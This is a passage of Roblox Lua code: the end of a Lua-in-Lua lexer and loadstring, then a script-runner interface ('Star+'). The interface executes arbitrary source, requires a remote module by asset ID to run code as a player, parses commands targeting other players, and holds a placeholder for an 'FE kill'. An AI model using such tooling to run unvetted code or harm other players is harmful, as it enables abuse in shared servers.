  5012. function luaX:trydecpoint(ls, Token)
  5013. -- format error: try to update decimal point separator
  5014. local old = ls.decpoint
  5015. -- translate the following to Lua if you implement localeconv():
  5016. -- struct lconv *cv = localeconv();
  5017. -- ls->decpoint = (cv ? cv->decimal_point[0] : '.');
  5018. self:buffreplace(ls, old, ls.decpoint) -- try updated decimal separator
  5019. local seminfo = self:str2d(ls.buff)
  5020. Token.seminfo = seminfo
  5021. if not seminfo then
  5022. -- format error with correct decimal point: no more options
  5023. self:buffreplace(ls, ls.decpoint, ".") -- undo change (for error message)
  5024. self:lexerror(ls, "malformed number", "TK_NUMBER")
  5025. end
  5026. end
  5027.  
  5028. ------------------------------------------------------------------------
  5029. -- main number conversion function
  5030. -- * "^%w$" needed in the scan in order to detect "EOZ"
  5031. ------------------------------------------------------------------------
  5032. function luaX:read_numeral(ls, Token)
  5033. -- lua_assert(string.find(ls.current, "%d"))
  5034. repeat
  5035. self:save_and_next(ls)
  5036. until string.find(ls.current, "%D") and ls.current ~= "."
  5037. if self:check_next(ls, "Ee") then -- 'E'?
  5038. self:check_next(ls, "+-") -- optional exponent sign
  5039. end
  5040. while string.find(ls.current, "^%w$") or ls.current == "_" do
  5041. self:save_and_next(ls)
  5042. end
  5043. self:buffreplace(ls, ".", ls.decpoint) -- follow locale for decimal point
  5044. local seminfo = self:str2d(ls.buff)
  5045. Token.seminfo = seminfo
  5046. if not seminfo then -- format error?
  5047. self:trydecpoint(ls, Token) -- try to update decimal point separator
  5048. end
  5049. end
  5050.  
  5051. ------------------------------------------------------------------------
  5052. -- count separators ("=") in a long string delimiter
  5053. -- * used by luaX:read_long_string
  5054. ------------------------------------------------------------------------
  5055. function luaX:skip_sep(ls)
  5056. local count = 0
  5057. local s = ls.current
  5058. -- lua_assert(s == "[" or s == "]")
  5059. self:save_and_next(ls)
  5060. while ls.current == "=" do
  5061. self:save_and_next(ls)
  5062. count = count + 1
  5063. end
  5064. return (ls.current == s) and count or (-count) - 1
  5065. end
  5066.  
  5067. ------------------------------------------------------------------------
  5068. -- reads a long string or long comment
  5069. ------------------------------------------------------------------------
  5070. function luaX:read_long_string(ls, Token, sep)
  5071. local cont = 0
  5072. self:save_and_next(ls) -- skip 2nd '['
  5073. if self:currIsNewline(ls) then -- string starts with a newline?
  5074. self:inclinenumber(ls) -- skip it
  5075. end
  5076. while true do
  5077. local c = ls.current
  5078. if c == "EOZ" then
  5079. self:lexerror(ls, Token and "unfinished long string" or
  5080. "unfinished long comment", "TK_EOS")
  5081. elseif c == "[" then
  5082. --# compatibility code start
  5083. if self.LUA_COMPAT_LSTR then
  5084. if self:skip_sep(ls) == sep then
  5085. self:save_and_next(ls) -- skip 2nd '['
  5086. cont = cont + 1
  5087. --# compatibility code start
  5088. if self.LUA_COMPAT_LSTR == 1 then
  5089. if sep == 0 then
  5090. self:lexerror(ls, "nesting of [[...]] is deprecated", "[")
  5091. end
  5092. end
  5093. --# compatibility code end
  5094. end
  5095. end
  5096. --# compatibility code end
  5097. elseif c == "]" then
  5098. if self:skip_sep(ls) == sep then
  5099. self:save_and_next(ls) -- skip 2nd ']'
  5100. --# compatibility code start
  5101. if self.LUA_COMPAT_LSTR and self.LUA_COMPAT_LSTR == 2 then
  5102. cont = cont - 1
  5103. if sep == 0 and cont >= 0 then break end
  5104. end
  5105. --# compatibility code end
  5106. break
  5107. end
  5108. elseif self:currIsNewline(ls) then
  5109. self:save(ls, "\n")
  5110. self:inclinenumber(ls)
  5111. if not Token then ls.buff = "" end -- avoid wasting space
  5112. else -- default
  5113. if Token then
  5114. self:save_and_next(ls)
  5115. else
  5116. self:nextc(ls)
  5117. end
  5118. end--if c
  5119. end--while
  5120. if Token then
  5121. local p = 3 + sep
  5122. Token.seminfo = string.sub(ls.buff, p, -p)
  5123. end
  5124. end
  5125.  
  5126. ------------------------------------------------------------------------
  5127. -- reads a string
  5128. -- * has been restructured significantly compared to the original C code
  5129. ------------------------------------------------------------------------
  5130.  
  5131. function luaX:read_string(ls, del, Token)
  5132. self:save_and_next(ls)
  5133. while ls.current ~= del do
  5134. local c = ls.current
  5135. if c == "EOZ" then
  5136. self:lexerror(ls, "unfinished string", "TK_EOS")
  5137. elseif self:currIsNewline(ls) then
  5138. self:lexerror(ls, "unfinished string", "TK_STRING")
  5139. elseif c == "\\" then
  5140. c = self:nextc(ls) -- do not save the '\'
  5141. if self:currIsNewline(ls) then -- go through
  5142. self:save(ls, "\n")
  5143. self:inclinenumber(ls)
  5144. elseif c ~= "EOZ" then -- will raise an error next loop
  5145. -- escapes handling greatly simplified here:
  5146. local i = string.find("abfnrtv", c, 1, 1)
  5147. if i then
  5148. self:save(ls, string.sub("\a\b\f\n\r\t\v", i, i))
  5149. self:nextc(ls)
  5150. elseif not string.find(c, "%d") then
  5151. self:save_and_next(ls) -- handles \\, \", \', and \?
  5152. else -- \xxx
  5153. c, i = 0, 0
  5154. repeat
  5155. c = 10 * c + ls.current
  5156. self:nextc(ls)
  5157. i = i + 1
  5158. until i >= 3 or not string.find(ls.current, "%d")
  5159. if c > 255 then -- UCHAR_MAX
  5160. self:lexerror(ls, "escape sequence too large", "TK_STRING")
  5161. end
  5162. self:save(ls, string.char(c))
  5163. end
  5164. end
  5165. else
  5166. self:save_and_next(ls)
  5167. end--if c
  5168. end--while
  5169. self:save_and_next(ls) -- skip delimiter
  5170. Token.seminfo = string.sub(ls.buff, 2, -2)
  5171. end
  5172.  
  5173. ------------------------------------------------------------------------
  5174. -- main lexer function
  5175. ------------------------------------------------------------------------
  5176. function luaX:llex(ls, Token)
  5177. ls.buff = ""
  5178. while true do
  5179. local c = ls.current
  5180. ----------------------------------------------------------------
  5181. if self:currIsNewline(ls) then
  5182. self:inclinenumber(ls)
  5183. ----------------------------------------------------------------
  5184. elseif c == "-" then
  5185. c = self:nextc(ls)
  5186. if c ~= "-" then return "-" end
  5187. -- else is a comment
  5188. local sep = -1
  5189. if self:nextc(ls) == '[' then
  5190. sep = self:skip_sep(ls)
  5191. ls.buff = "" -- 'skip_sep' may dirty the buffer
  5192. end
  5193. if sep >= 0 then
  5194. self:read_long_string(ls, nil, sep) -- long comment
  5195. ls.buff = ""
  5196. else -- else short comment
  5197. while not self:currIsNewline(ls) and ls.current ~= "EOZ" do
  5198. self:nextc(ls)
  5199. end
  5200. end
  5201. ----------------------------------------------------------------
  5202. elseif c == "[" then
  5203. local sep = self:skip_sep(ls)
  5204. if sep >= 0 then
  5205. self:read_long_string(ls, Token, sep)
  5206. return "TK_STRING"
  5207. elseif sep == -1 then
  5208. return "["
  5209. else
  5210. self:lexerror(ls, "invalid long string delimiter", "TK_STRING")
  5211. end
  5212. ----------------------------------------------------------------
  5213. elseif c == "=" then
  5214. c = self:nextc(ls)
  5215. if c ~= "=" then return "="
  5216. else self:nextc(ls); return "TK_EQ" end
  5217. ----------------------------------------------------------------
  5218. elseif c == "<" then
  5219. c = self:nextc(ls)
  5220. if c ~= "=" then return "<"
  5221. else self:nextc(ls); return "TK_LE" end
  5222. ----------------------------------------------------------------
  5223. elseif c == ">" then
  5224. c = self:nextc(ls)
  5225. if c ~= "=" then return ">"
  5226. else self:nextc(ls); return "TK_GE" end
  5227. ----------------------------------------------------------------
  5228. elseif c == "~" then
  5229. c = self:nextc(ls)
  5230. if c ~= "=" then return "~"
  5231. else self:nextc(ls); return "TK_NE" end
  5232. ----------------------------------------------------------------
  5233. elseif c == "\"" or c == "'" then
  5234. self:read_string(ls, c, Token)
  5235. return "TK_STRING"
  5236. ----------------------------------------------------------------
  5237. elseif c == "." then
  5238. c = self:save_and_next(ls)
  5239. if self:check_next(ls, ".") then
  5240. if self:check_next(ls, ".") then
  5241. return "TK_DOTS" -- ...
  5242. else return "TK_CONCAT" -- ..
  5243. end
  5244. elseif not string.find(c, "%d") then
  5245. return "."
  5246. else
  5247. self:read_numeral(ls, Token)
  5248. return "TK_NUMBER"
  5249. end
  5250. ----------------------------------------------------------------
  5251. elseif c == "EOZ" then
  5252. return "TK_EOS"
  5253. ----------------------------------------------------------------
  5254. else -- default
  5255. if string.find(c, "%s") then
  5256. -- lua_assert(self:currIsNewline(ls))
  5257. self:nextc(ls)
  5258. elseif string.find(c, "%d") then
  5259. self:read_numeral(ls, Token)
  5260. return "TK_NUMBER"
  5261. elseif string.find(c, "[_%a]") then
  5262. -- identifier or reserved word
  5263. repeat
  5264. c = self:save_and_next(ls)
  5265. until c == "EOZ" or not string.find(c, "[_%w]")
  5266. local ts = ls.buff
  5267. local tok = self.enums[ts]
  5268. if tok then return tok end -- reserved word?
  5269. Token.seminfo = ts
  5270. return "TK_NAME"
  5271. else
  5272. self:nextc(ls)
  5273. return c -- single-char tokens (+ - / ...)
  5274. end
  5275. ----------------------------------------------------------------
  5276. end--if c
  5277. end--while
  5278. end
  5279.  
  5280. --[[
  5281. Credit to einsteinK.
  5282. Credit to Stravant for LBI.
  5283.  
  5284. Credit to the creators of all the other modules used in this.
  5285.  
  5286. Sceleratis was here and decided modify some things.
  5287.  
  5288. einsteinK was here again to fix a bug in LBI for if-statements
  5289. --]]
  5290.  
  5291. --[[local waitDeps = {
  5292. 'LBI';
  5293. 'LuaK';
  5294. 'LuaP';
  5295. 'LuaU';
  5296. 'LuaX';
  5297. 'LuaY';
  5298. 'LuaZ';
  5299. }
  5300.  
  5301. for i,v in pairs(waitDeps) do script:WaitForChild(v) end
  5302.  
  5303. local luaX = require(script.LuaX)
  5304. local luaY = require(script.LuaY)
  5305. local luaZ = require(script.LuaZ)
  5306. local luaU = require(script.LuaU)
  5307. local lbi = require(script.LBI)]]
  5308.  
  5309. luaX:init()
  5310. local LuaState = {}
  5311.  
  5312. function Loadstring(str,env)
  5313. local f,writer,buff
  5314. local ran,error=pcall(function()
  5315. local zio = luaZ:init(luaZ:make_getS(str), nil)
  5316. if not zio then return error() end
  5317. local func = luaY:parser(LuaState, zio, nil, "@input")
  5318. writer, buff = luaU:make_setS()
  5319. luaU:dump(LuaState, func, writer, buff)
  5320. f = lbi.load_bytecode(buff.data)
  5321. if env then
  5322. setfenv(f,env)
  5323. else
  5324. local env=getfenv()
  5325. env.script=nil
  5326. setfenv(f,env)
  5327. end
  5328. end)
  5329. if ran then
  5330. return f,buff.data
  5331. else
  5332. return nil,error
  5333. end
  5334. end
  5335.  
  5336.  
  5337.  
  5338.  
  5339.  
  5340.  
  5341.  
  5342.  
  5343.  
  5344. --\\ Loadstring
  5345. --// Ew tabs
  5346.  
  5347. function GetTimeAtTick(Tick)
  5348. local hour = math.floor((Tick%86400)/60/60)
  5349. local min = math.floor(((Tick%86400)/60/60-hour)*60)
  5350. if min < 10 then min = "0"..min end
  5351. return hour..":"..min
  5352. end
  5353. function GetTime()
  5354. return GetTimeAtTick(tick())
  5355. end
  5356.  
  5357. local SeverStarted = tick() - time()
  5358. local ServerStartTime = GetTimeAtTick(SeverStarted)
  5359.  
  5360. local Prefix = "."
  5361. local CmdSeperator = "|"
  5362. local ArgSeperator = ","
  5363.  
  5364. local Events = {}
  5365. function AE(Event)
  5366. table.insert(Events,Event)
  5367. return Event
  5368. end
  5369.  
  5370. local RotationOffset = 0
  5371. local Hover = nil
  5372. local KillTable = {}
  5373.  
  5374. local Version = "1.1.6"
  5375. local ServerSide = game:GetService("RunService"):IsServer()
  5376.  
  5377. local Players = game:GetService("Players")
  5378. local Workspace = game:GetService("Workspace")
  5379. local Debris = game:GetService("Debris")
  5380. local TweenService = game:GetService("TweenService")
  5381. local Teams = game:GetService("Teams")
  5382. local RunService = game:GetService("RunService")
  5383. local HttpService = game:GetService("HttpService")
  5384. local Terrain = Workspace:WaitForChild("Terrain")
  5385. local Camera = Workspace.CurrentCamera
  5386. local UIS = game:GetService("UserInputService")
  5387.  
  5388. local Event = ServerSide and RunService.Heartbeat or RunService.RenderStepped
  5389.  
  5390. local DismissTab = nil
  5391.  
  5392. local FrameRate = 60
  5393. local FPS = FrameRate
  5394.  
  5395. if _G.EwTabsUser == nil and owner ~= nil then
  5396. _G.EwTabsUser = owner
  5397. end
  5398. local Player = ServerSide and _G.EwTabsUser or Players.LocalPlayer
  5399. if not Player then return error("Star+ cannot run without a player!") end
  5400. _G.EwTabsUser = nil
  5401.  
  5402. local CharPosition = Vector3.new(0,0,0)
  5403. local Character = nil
  5404. local Root = nil
  5405. local Head = nil
  5406. local Humanoid = nil
  5407.  
  5408. local Tabs = {}
  5409. local TabFolder = nil
  5410. local TabFolderParent = ServerSide and Terrain or Camera
  5411. local TabFolderName = ""
  5412. local Sine = 0
  5413.  
  5414. local Colors = {
  5415. ["Default"] = Color3.fromRGB(75,255,75);
  5416. ["Control"] = Color3.fromRGB(255,125,30);
  5417. ["Loading"] = Color3.fromRGB(25,75,255);
  5418. ["Warning"] = Color3.fromRGB(255,125,30);
  5419. ["Info"] = Color3.fromRGB(25,75,255);
  5420. ["Back"] = Color3.fromRGB(25,75,255);
  5421. ["Error"] = Color3.fromRGB(255,75,75);
  5422. ["Dismiss"] = Color3.fromRGB(255,75,75);
  5423. }
  5424.  
  5425. local ServerSideLocalExecute
  5426. pcall(function()
  5427. if ServerSide then
  5428. ServerSideLocalExecute = require(6974330162)
  5429. end
  5430. end)
  5431. if ServerSide then
  5432. if ServerSideLocalExecute == nil and NLS == nil then
  5433. CreateTab({
  5434. Text = "Unable to require server local execute module. You wont be able to run local sources on server.";
  5435. Color = Colors["Warning"];
  5436. })
  5437. end
  5438. end
  5439.  
  5440. function NewLocalScript(Source)
  5441. local Loading = CreateTab({
  5442. Text = "Executing source locally...";
  5443. Color = Colors["Loading"];
  5444. },3)
  5445.  
  5446. if ServerSide then
  5447. if ServerSideLocalExecute ~= nil then
  5448. ServerSideLocalExecute(Source,Player)
  5449. CreateTab({
  5450. Text = "Executed local source.";
  5451. },3)
  5452. return true
  5453. else
  5454. if NLS ~= nil then
  5455. NLS(Source,Player:FindFirstChild("PlayerGui") or Player:FindFirstChild("Backpack") or Player.Character)
  5456. CreateTab({
  5457. Text = "Executed local source.";
  5458. },3)
  5459. return true
  5460. else
  5461. CreateTab({
  5462. Text = "Unable to execute source locally.";
  5463. Color = Colors["Error"];
  5464. },5)
  5465. return false
  5466. end
  5467. end
  5468. else
  5469. if Loadstring ~= nil then
  5470. Loadstring(Source)()
  5471. CreateTab({
  5472. Text = "Executed local source.";
  5473. },3)
  5474. return true
  5475. else
  5476. if NLS ~= nil then
  5477. NLS(Source,Player:FindFirstChild("PlayerGui") or Player:FindFirstChild("Backpack") or Player.Character)
  5478. CreateTab({
  5479. Text = "Executed local source.";
  5480. },3)
  5481. return true
  5482. else
  5483. CreateTab({
  5484. Text = "Unable to execute source locally.";
  5485. Color = Colors["Error"];
  5486. },5)
  5487. return false
  5488. end
  5489. end
  5490. end
  5491. end
  5492.  
  5493. function NewScript(Source)
  5494. local Loading = CreateTab({
  5495. Text = "Executing source...";
  5496. Color = Colors["Loading"];
  5497. },3)
  5498.  
  5499. if Loadstring ~= nil then
  5500. Loadstring(Source)()
  5501. CreateTab({
  5502. Text = "Executed source.";
  5503. },3)
  5504. return true
  5505. else
  5506. if NS ~= nil then
  5507. NS(Source,Player:FindFirstChild("PlayerGui") or Player:FindFirstChild("Backpack") or Player.Character)
  5508. CreateTab({
  5509. Text = "Executed source.";
  5510. },3)
  5511. return true
  5512. else
  5513. CreateTab({
  5514. Text = "Unable to execute source.";
  5515. Color = Colors["Error"];
  5516. },5)
  5517. return false
  5518. end
  5519. end
  5520. end
  5521.  
  5522. function ProtectInstance(Ins)
  5523. Ins.Name = tostring(HttpService:GenerateGUID(true))
  5524. Ins.Parent = TabFolderParent
  5525.  
  5526. return Ins
  5527. end
  5528.  
  5529. function SetupTabs()
  5530. if TabFolder ~= nil then
  5531. TabFolder:Destroy()
  5532. end
  5533. TabFolder = ProtectInstance(Instance.new("Folder"))
  5534. TabFolderName = TabFolder.Name
  5535. end
  5536.  
  5537. function GetTabFromData(Data)
  5538. return Data.Tab
  5539. end
  5540. function GetDataFromTab(Tab)
  5541. for _,Cur in pairs(Tabs) do
  5542. if not Cur then continue end
  5543. if not Cur.Tab then continue end
  5544. if Cur.Tab.Name == Tab.Name then
  5545. return Cur
  5546. end
  5547. end
  5548.  
  5549. return nil
  5550. end
  5551.  
  5552. function CloseAnimateTab(Tab,Data)
  5553. local NewTab = CreateTabInstance()
  5554. SetTabPropertiesFromData(NewTab,Data)
  5555. NewTab.Parent = Character
  5556. NewTab.CFrame = Tab.CFrame
  5557.  
  5558. local Offset = CFrame.Angles(math.rad(math.random(-359,360)),math.rad(math.random(-359,360)),math.rad(math.random(-359,360)))
  5559. local TI = TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.In, 0)
  5560. local Goal = {
  5561. CFrame = CFrame.new(CharPosition) * Offset;
  5562. Transparency = 1;
  5563. }
  5564. local Animation = TweenService:Create(NewTab, TI, Goal)
  5565. Animation:Play()
  5566.  
  5567. Debris:AddItem(NewTab,1)
  5568. end
  5569.  
  5570. function DeleteTab(Tab,Update)
  5571. if typeof(Tab) == "table" then
  5572. Tab = GetTabFromData(Tab)
  5573. end
  5574. local Data = GetDataFromTab(Tab)
  5575. if not Data then return end
  5576.  
  5577. local DataClone = {}
  5578. for n,v in pairs(Data) do
  5579. DataClone[n] = v
  5580. end
  5581.  
  5582. CloseAnimateTab(Tab,DataClone)
  5583.  
  5584. Tab:Destroy()
  5585. table.remove(Tabs,Data.Index)
  5586. if Update ~= false then
  5587. UpdateIndex()
  5588. UpdateTabs()
  5589. end
  5590. end
  5591.  
  5592. function DeleteAllTabs()
  5593. for _,Tab in pairs(TabFolder:GetChildren()) do
  5594. local Data = GetDataFromTab(Tab)
  5595. if Data then
  5596. local DataClone = {}
  5597. for n,v in pairs(Data) do
  5598. DataClone[n] = v
  5599. end
  5600. CloseAnimateTab(Tab,DataClone)
  5601. end
  5602. end
  5603. Tabs = {}
  5604. DismissTab = nil
  5605. TabFolder:ClearAllChildren()
  5606. end
  5607.  
  5608. function CreateTab(Data,Time)
  5609. if not Data then Data = {} end
  5610. if not Data.Text then Data.Text = "" end
  5611. if not Data.Color then Data.Color = Colors["Default"] end
  5612. if not Data.Index then Data.Index = #Tabs+1 end
  5613. if not Data.Call then Data.Call = nil end
  5614.  
  5615. table.insert(Tabs,Data.Index,{
  5616. Index = Data.Index;
  5617. Text = Data.Text;
  5618. Color = Data.Color;
  5619. CFrame = nil;
  5620. Tab = nil;
  5621. Created = time();
  5622. Time = Time;
  5623. Call = Data.Call;
  5624. })
  5625.  
  5626. return Tabs[Data.Index]
  5627. end
  5628.  
  5629. function CreateTabInstance()
  5630. return Instance.new("Part")
  5631. end
  5632.  
  5633. function UpdateIndex()
  5634. for Index,Data in pairs(Tabs) do
  5635. pcall(function()
  5636. local Tab = GetTabFromData(Data)
  5637. Data.Index = Index
  5638. if Tab then
  5639. Tab.Name = tostring(Index)
  5640. end
  5641. end)
  5642. end
  5643. end
  5644.  
  5645. function SetTabPropertiesFromData(Tab,Data)
  5646. if not Data then Data = {} end
  5647. if not Data.Text then Data.Text = "" end
  5648. if not Data.Color then Data.Color = Colors["Default"] end
  5649. if not Data.Index then Data.Index = #Tabs+1 end
  5650. if not Data.Call then Data.Call = nil end
  5651.  
  5652. Tab.Anchored = true
  5653. Tab.CanCollide = false
  5654. Tab.Size = Vector3.new(0.8, 0.8, 0.8)
  5655. Tab.Material = Enum.Material.Neon
  5656. Tab.Color = Data.Color
  5657. Tab.Transparency = 0.75
  5658. Tab.Name = tostring(Data.Index)
  5659.  
  5660. return Tab
  5661. end
  5662.  
  5663. function UpdateTabs(Multiply)
  5664. if not Multiply then Multiply = 1 end
  5665. if TabFolder == nil or TabFolder.Parent ~= TabFolderParent or TabFolder.Name ~= TabFolderName then
  5666. SetupTabs()
  5667. end
  5668.  
  5669. local Number = 0
  5670. if DismissTab ~= nil then
  5671. Number = 1
  5672. end
  5673. if #Tabs > Number then
  5674. if DismissTab == nil then
  5675. DismissTab = CreateTab({
  5676. Index = 1;
  5677. Text = "Dismiss";
  5678. Color = Colors["Dismiss"];
  5679. Call = DeleteAllTabs;
  5680. })
  5681. end
  5682. else
  5683. if DismissTab ~= nil then
  5684. DeleteTab(DismissTab,false)
  5685. DismissTab = nil
  5686. end
  5687. end
  5688. UpdateIndex()
  5689. local Stop = false
  5690. for Index,Data in pairs(Tabs) do
  5691. if Stop then break end
  5692. local Tab = GetTabFromData(Data)
  5693. local CheckTab
  5694. CheckTab = function()
  5695. local MadeTab = false
  5696. if Tab == nil then
  5697. MadeTab = true
  5698. Tab = CreateTabInstance()
  5699. local Offset = CFrame.Angles(math.rad(math.random(-359,360)),math.rad(math.random(-359,360)),math.rad(math.random(-359,360)))
  5700. if CharPosition ~= nil then
  5701. Tab.CFrame = CFrame.new(CharPosition) * Offset
  5702. else
  5703. Tab.CFrame = CFrame.new(0,0,0) * Offset
  5704. end
  5705. if Data.CFrame == nil then
  5706. Data.CFrame = Tab.CFrame
  5707. end
  5708. end
  5709. local Gui = Tab:FindFirstChildOfClass("BillboardGui")
  5710. if not Gui then
  5711. Gui = Instance.new("BillboardGui",Tab)
  5712. end
  5713. Gui.AlwaysOnTop = false
  5714. Gui.ResetOnSpawn = false
  5715. Gui.Enabled = true
  5716. Gui.MaxDistance = math.huge
  5717. Gui.Size = UDim2.new(8,0,6,0)
  5718. Gui.StudsOffset = Vector3.new(0,4.5,0)
  5719. Gui.ClipsDescendants = false
  5720.  
  5721. local Label = Gui:FindFirstChildOfClass("TextBox")
  5722. if not Label then
  5723. Gui:ClearAllChildren()
  5724. Label = Instance.new("TextBox",Gui)
  5725. end
  5726. Label.TextEditable = false
  5727. Label.AnchorPoint = Vector2.new(0.5,0.5)
  5728. Label.BackgroundTransparency = 1
  5729. Label.BorderSizePixel = 0
  5730. Label.Position = UDim2.new(0.5,0,0.5,0)
  5731. Label.Size = UDim2.new(1,0,1,0)
  5732. Label.Visible = true
  5733. Label.ClipsDescendants = false
  5734. Label.Font = Enum.Font.SourceSans
  5735. Label.TextSize = 18
  5736. Label.TextStrokeColor3 = Color3.fromHSV(0,0,0)
  5737. Label.TextStrokeTransparency = 0
  5738. Label.TextTransparency = 0
  5739. Label.TextXAlignment = Enum.TextXAlignment.Center
  5740. Label.TextYAlignment = Enum.TextYAlignment.Bottom
  5741. Label.TextColor3 = Color3.fromRGB(255,255,255)
  5742. Label.TextWrapped = true
  5743.  
  5744. if Data.Time ~= nil then
  5745. Label.Text = Data.Text.." ("..tostring(math.ceil(Data.Time - (time() - Data.Created)))..")"
  5746. else
  5747. Label.Text = Data.Text
  5748. end
  5749.  
  5750. local Click = Tab:FindFirstChildOfClass("ClickDetector")
  5751. if not Click then
  5752. Click = Instance.new("ClickDetector",Tab)
  5753. local C1
  5754. local C2
  5755. local C3
  5756. local C4
  5757. C1 = AE(Click.MouseClick:Connect(function(plr)
  5758. if tonumber(plr.UserId) == tonumber(Player.UserId) then
  5759. C1:Disconnect()
  5760. C2:Disconnect()
  5761. C3:Disconnect()
  5762. C4:Disconnect()
  5763.  
  5764. Hover = nil
  5765.  
  5766. if Data.Call ~= nil then
  5767. coroutine.resume(coroutine.create(Data.Call))
  5768. end
  5769. DeleteTab(Tab)
  5770. end
  5771. end))
  5772. C2 = AE(Click.AncestryChanged:Connect(function()
  5773. if Click.Parent ~= Tab then
  5774. C1:Disconnect()
  5775. C2:Disconnect()
  5776. C3:Disconnect()
  5777. C4:Disconnect()
  5778. end
  5779. end))
  5780. C3 = AE(Click.MouseHoverEnter:Connect(function(plr)
  5781. if tonumber(plr.UserId) == tonumber(Player.UserId) then
  5782. Hover = Data
  5783. end
  5784. end))
  5785. C4 = AE(Click.MouseHoverLeave:Connect(function(plr)
  5786. if tonumber(plr.UserId) == tonumber(Player.UserId) then
  5787. if Hover == Data then
  5788. Hover = nil
  5789. end
  5790. end
  5791. end))
  5792. end
  5793. Click.MaxActivationDistance = math.huge
  5794.  
  5795. Data.Tab = Tab
  5796. SetTabPropertiesFromData(Tab,Data)
  5797. pcall(function()
  5798. Tab.Parent = TabFolder
  5799. end)
  5800. if Tab.Parent ~= TabFolder then
  5801. Tab:Destroy()
  5802. Data.Tab = nil
  5803. return false
  5804. end
  5805. return true
  5806. end
  5807.  
  5808. if CheckTab() == false then
  5809. continue
  5810. else
  5811. local TargetCFrame = CFrame.new(CharPosition) * CFrame.Angles(0,math.rad(((360/#Tabs)*Index) + RotationOffset),0)
  5812. TargetCFrame = TargetCFrame + TargetCFrame.LookVector * -((#Tabs/2) + 3)
  5813. if Hover == Data then
  5814. TargetCFrame = TargetCFrame * CFrame.Angles(0,0,math.rad(15 * math.sin((Sine+30)/30))) + TargetCFrame.UpVector * (0.25 * math.sin(Sine/30)) + TargetCFrame.LookVector * 0.45
  5815. end
  5816. Data.CFrame = Data.CFrame:Lerp(TargetCFrame,0.08 * Multiply)
  5817. Tab.CFrame = Data.CFrame
  5818.  
  5819. if Data.Time ~= nil then
  5820. if time() - Data.Created >= Data.Time then
  5821. DeleteTab(Tab)
  5822. end
  5823. end
  5824. end
  5825. end
  5826. end
  5827.  
  5828. SetupTabs()
  5829.  
  5830. local Killing = false
  5831. AE(Event:Connect(function(t)
  5832. if not t then t = 1/60 end
  5833. local Multiply = t * FrameRate
  5834. FPS = FrameRate / Multiply
  5835.  
  5836. Character = Player.Character
  5837. if Character ~= nil then
  5838. Root = Character:FindFirstChild("HumanoidRootPart")
  5839. Head = Character:FindFirstChild("Head")
  5840. Humanoid = Character:FindFirstChildOfClass("Humanoid")
  5841. if Root ~= nil then
  5842. CharPosition = Root.Position
  5843. elseif Character.PrimaryPart ~= nil then
  5844. CharPosition = Character.PrimaryPart.Position
  5845. end
  5846. end
  5847.  
  5848. UpdateTabs(Multiply)
  5849.  
  5850. Sine = Sine + (1 * Multiply)
  5851. if Hover == nil then
  5852. RotationOffset = RotationOffset + (0.25 / ((math.max(#Tabs,1) + 2.5) / 10))
  5853. end
  5854. if RotationOffset > 360 then
  5855. RotationOffset = math.clamp(RotationOffset - 360,0,360)
  5856. end
  5857.  
  5858. if not ServerSide then
  5859. if #KillTable > 0 and Killing == false then
  5860. --[[Killing = true
  5861. Insert FE kill here
  5862. Killing = false]]
  5863. end
  5864. end
  5865. end))
  5866.  
  5867. function GetRoot(C)
  5868. return C:FindFirstChild("HumanoidRootPart") or C:FindFirstChild("Head") or C:FindFirstChild("Torso") or C:FindFirstChild("UpperTorso") or C:FindFirstChild("LowerTorso") or C:FindFirstChildOfClass("Part") or C:FindFirstChildOfClass("MeshPart") or C:FindFirstChildOfClass("UnionOperation")
  5869. end
  5870.  
  5871. function GetInRad(Speaker,Rad)
  5872. local ReturnPlayers = {}
  5873.  
  5874. local Character = Speaker.Character
  5875. if Character then
  5876. local Root = GetRoot(Character)
  5877. if Root then
  5878. for _,Player in pairs(Players:GetPlayers()) do
  5879. local NewCharacter = Player.Character
  5880. if NewCharacter then
  5881. local NewRoot = GetRoot(Character)
  5882. if NewRoot then
  5883. local Distance = (Root.Position - NewRoot.Position).Magnitude
  5884. if Distance <= Rad then
  5885. table.insert(ReturnPlayers,Player)
  5886. end
  5887. end
  5888. end
  5889. end
  5890. end
  5891. end
  5892.  
  5893. return ReturnPlayers
  5894. end
  5895.  
  5896. function GetInTeam(Team)
  5897. local ReturnPlayers = {}
  5898.  
  5899. for _,Player in pairs(Players:GetPlayers()) do
  5900. if Player.Team == Team then
  5901. table.insert(ReturnPlayers,Player)
  5902. end
  5903. end
  5904.  
  5905. return ReturnPlayers
  5906. end
  5907.  
  5908. function ConvertToArgs(Arguments,NeededArguments,Player,ArgSeperator)
  5909. local Args = {}
  5910. for i,v in pairs(NeededArguments) do
  5911. local toAdd = {}
  5912. if Arguments[i] then
  5913. if v == "Player" then
  5914. local plrNames = string.split(Arguments[i],ArgSeperator)
  5915. for _,name in pairs(plrNames) do
  5916. if name:lower() == "me" then
  5917. table.insert(toAdd,Player)
  5918. elseif name:lower() == "others" then
  5919. local plrs = game:GetService("Players"):GetChildren()
  5920. for _,p in pairs(plrs) do
  5921. if p ~= Player then
  5922. table.insert(toAdd,p)
  5923. end
  5924. end
  5925. elseif name:lower() == "all" or name:lower() == "everyone" then
  5926. local plrs = game:GetService("Players"):GetChildren()
  5927. for _,p in pairs(plrs) do
  5928. table.insert(toAdd,p)
  5929. end
  5930. elseif string.sub(name,1,6):lower() == "random" or string.sub(name,1,1):lower() == "*" then
  5931. local Start = 7
  5932. local Times = 1
  5933.  
  5934. if string.sub(name,1,1):lower() == "*" then
  5935. Start = 2
  5936. end
  5937.  
  5938. if #name >= Start then
  5939. Times = tonumber(string.sub(name:lower(),Start))
  5940. if not Times then
  5941. Times = 1
  5942. end
  5943. end
  5944.  
  5945. print(Times)
  5946. for Index = 1,Times do
  5947. local plrs = game:GetService("Players"):GetChildren()
  5948. local p = plrs[math.random(1,#plrs)]
  5949. table.insert(toAdd,p)
  5950. end
  5951. elseif name:lower() == "near" or name:lower() == "close" then
  5952. for _,Data in pairs(GetInRad(Player,15)) do
  5953. table.insert(toAdd,Data)
  5954. end
  5955. elseif string.sub(name,1,3):lower() == "rad" or string.sub(name,1,1):lower() == "r" then
  5956. local Start = 4
  5957. if string.sub(name,1,1):lower() == "r" then
  5958. Start = 2
  5959. end
  5960. local Rad = tonumber(string.sub(name,Start))
  5961. if Rad then
  5962. for _,Data in pairs(GetInRad(Player,Rad)) do
  5963. table.insert(toAdd,Data)
  5964. end
  5965. end
  5966. elseif name:lower() == "allies" or name:lower() == "team" then
  5967. for _,Data in pairs(GetInTeam(Player.Team)) do
  5968. table.insert(toAdd,Data)
  5969. end
  5970. elseif name:lower() == "enemies" or name:lower() == "nonteam" then
